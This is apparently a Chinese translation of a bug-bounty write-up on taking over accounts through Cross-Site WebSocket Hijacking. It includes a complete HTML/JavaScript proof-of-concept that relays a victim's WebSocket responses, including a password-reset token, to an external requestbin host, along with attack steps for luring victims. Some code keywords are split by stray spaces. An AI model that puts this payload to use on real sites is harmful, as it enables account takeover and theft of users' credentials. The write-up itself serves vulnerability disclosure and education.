利用WebSocket跨站劫持(CSWH)漏洞接管帳戶 在一次漏洞懸賞活動中,我發現了一個使用WebSocket連接的應用,所以我檢查了WebSocket URL,發現它很容易受到CSWH的攻擊(WebSocket跨站劫持)有關CSWH的更多詳細信息,可以訪問以下鏈接瞭解https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html 首先,我們假設一個應用是通過以下URL建立websocket連接的 wss://website.com。關於驗證URL是否存在CSWH漏洞可以遵循以下步驟: 在瀏覽器上打開Web應用並登錄。 在新選項卡中輸入http://websocket.org/echo.html,輸入WebSocket URL並單擊「連接」。 建立連接後,你必須能夠從此頁面向伺服器發送數據幀。接著,使用burpsuite的proxy捕獲websocket數據幀進行調試,多次發送,查看伺服器如何響應。如果burp的回應和網頁的回應一樣,則表示目標很可能容易受到WebSocket跨站劫持的攻擊 通過以上步驟,我確定應用存在CSWH漏洞。一旦在新選項卡上建立了WebSocket連接,我就收到了下面的websocket響應 從上述響應中你可看到,參數「_forgotPasswordId」的值為「null」。現在我需要「_forgotPasswordId」參數來發送惡意請求來重置密碼。 我再次測試了Websocket連接,這次觀察到了如下回應,它包含一個forgetPasswordID令牌 利用 現在準備CSWH漏洞的利用鏈,重置密碼接管帳戶。以下由HTML代碼組成的payload會發送XHR請求,並把回應導向攻擊者控制的站點。<!-- Reference http://www.websocket.org/echo.html --> <!DOCTYPE html> <me ta charset="utf-8" /> <title>Testing</title> <sc ript language="ja vasc ript" type="text/ja vasc ript"> var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend(websocket fr ame ); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) { var xhr = new xm lHttpRequest(); xhr.open("POST", "http://requestbin.fullcontact.com/1143n2w1", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(evt.data); websocket.close(); } function on error(evt) { writeToScreen(<span stylex="color: red;">ERROR:</span> + evt.data); } function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); } function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre.innerHTML = message; output.appendChild(pre); } window.addEventListener("load", init, false); </sc ript> <h2>WebSocket Test</h2> <di v id="output"></di v> 攻擊步驟 利用「忘記密碼」頁面,發送受害者帳戶的密碼重置請求 託管以上html到公網網站上,並向受害者發送這個URL(類似於CSRF攻擊) 一旦受害者點擊URL,就可以在監聽器上得到websocket響應,如下圖所示 擁有這個「forgotPasswordID」令牌,我們就可以重置受害者密碼。本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場 來源:https://medium.com/@sharan.panegav/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50 本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場 來源:利用WebSocket跨站劫持(CSWH)漏洞接管帳戶|NOSEC安全訊息平臺 - NOSEC.ORG原文:https://medium.com/@sharan.panegav/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50白帽匯從事信息安全,專註於安全大數據、企業威脅情報。公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。 為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。 推薦閱讀: 相關文章 {{#data}} {{title}} {{/data}}